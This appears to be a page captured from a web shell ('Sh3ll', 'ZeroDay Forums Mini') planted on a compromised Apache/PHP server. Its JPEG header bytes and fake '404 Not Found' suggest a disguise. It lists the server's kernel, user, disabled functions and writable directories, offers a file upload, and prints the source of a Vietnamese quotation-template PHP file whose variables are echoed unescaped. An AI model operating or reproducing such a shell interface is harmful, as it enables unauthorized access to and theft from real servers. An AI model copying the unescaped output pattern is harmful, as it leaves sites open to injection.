����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/code/management/customer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/admin.adimi/code/management/customer/print_baogia_tpl.php
<div class="callout callout-info">
    <h5><i class="fas fa-info"></i> Note:</h5>
    Ký tự trong file template có dạng ${ten_bien} là ký tự để thay thế từ form báo giá.
</div>

<div class="card">
    <div class="card-header">
        <span>Tải template mẫu</span>
        <div class="card-tools"><a href="upload/logos/bao-gia.docx" target="_blank"><i class="fas fa-download"></i> Báo giá</a></div>
    </div>
    <div class="card-body">

        <form action="?act=management&code=customer&type=upload_template&customer_id=<?php echo $v_customer_id;?>&customer_baogia_id=<?php echo $v_customer_baogia_id;?>" method="post" enctype="multipart/form-data" id="upload_template">
            <input type="hidden" name="f[customer_id]" value="<?php echo $v_customer_id;?>">
            <input type="hidden" name="f[customer_baogia_id]" value="<?php echo $v_customer_baogia_id;?>">
            <div class="form-group">
                <label for="exampleInputFile">Upload template (.docx)</label>
                <div class="input-group">
                    <div class="custom-file">
                        <input type="file" class="custom-file-input" id="exampleInputFile_template" name="file_template">
                        <label class="custom-file-label" for="exampleInputFile_template"></label>
                    </div>
                    <div class="input-group-append">
                        <span class="input-group-text" onclick="$('#upload_template').submit();" style="cursor: pointer">Upload</span>
                    </div>
                </div>
            </div>
        </form>

        <form action="?act=management&code=customer&type=print_baogia&customer_id=<?php echo $v_customer_id;?>&customer_baogia_id=<?php echo $v_customer_baogia_id;?>" method="post" target="_blank">
            <input type="hidden" name="f[customer_id]" value="<?php echo $v_customer_id;?>">
            <input type="hidden" name="f[customer_baogia_id]" value="<?php echo $v_customer_baogia_id;?>">
            <table class="table table-bordered">
                <tr><th>Chọn template</th><th>Tên template</th><th>Download template</th><th>#</th></tr>
                <?php
                if(isset($txt_template) && $txt_template!='') {
                    echo $txt_template;
                }
                ?>
                <tr><td colspan="4"><button type="submit" name="submitbt_print" class="btn btn-warning"><i class="fas fa-print"></i> In báo giá <?php echo $row_check['customer_baogia_name'];?></button></td></tr>
            </table>
        </form>
    </div>
</div>
<script>
    $(function () {
        bsCustomFileInput.init();
    });
</script>

ZeroDay Forums Mini